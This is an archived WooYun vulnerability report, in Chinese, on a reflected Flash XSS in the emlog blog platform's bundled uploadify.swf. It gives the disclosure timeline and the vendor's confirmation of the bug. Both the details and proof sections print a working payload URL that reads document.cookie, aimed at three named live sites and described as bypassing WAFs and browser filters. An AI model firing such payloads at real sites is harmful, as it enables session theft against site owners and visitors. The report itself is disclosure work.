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缺陷编号:wooyun-2014-069818

漏洞标题:emlog博客前台反射型XSS(无视浏览器filter)

相关厂商:emlog.net

漏洞作者: phith0n

提交时间:2014-07-28 14:07

修复时间:2014-10-26 14:08

公开时间:2014-10-26 14:08

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-07-28: 细节已通知厂商并且等待厂商处理中
2014-08-01: 厂商已经确认,细节仅向厂商公开
2014-08-04: 细节向第三方安全合作伙伴开放
2014-09-25: 细节向核心白帽子及相关领域专家公开
2014-10-05: 细节向普通白帽子公开
2014-10-15: 细节向实习白帽子公开
2014-10-26: 细节向公众公开

简要描述:

RT

详细说明:

官方主机站测试一下:
http://host.emlog.net/include/lib/js/uploadify/uploadify.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
开发者之一奇遇的博客:
http://blog.qiyuuu.com/include/lib/js/uploadify/uploadify.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
思想之地:
http://be-evil.org/include/lib/js/uploadify/uploadify.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
等等我就不多列举了。
因为是flash xss,所以无视服务端WAF,无视浏览器filter~
关于这个swf我就不想多说了,老问题。

漏洞证明:

官方主机站测试一下:
http://host.emlog.net/include/lib/js/uploadify/uploadify.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
开发者之一奇遇的博客:
http://blog.qiyuuu.com/include/lib/js/uploadify/uploadify.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
思想之地:
http://be-evil.org/include/lib/js/uploadify/uploadify.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

修复方案:

修复swf

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-08-01 16:00

厂商回复:

确认,是EMLOG采用的上传组件过滤不严格导致的,我们会尽快发布补丁。

最新状态:

暂无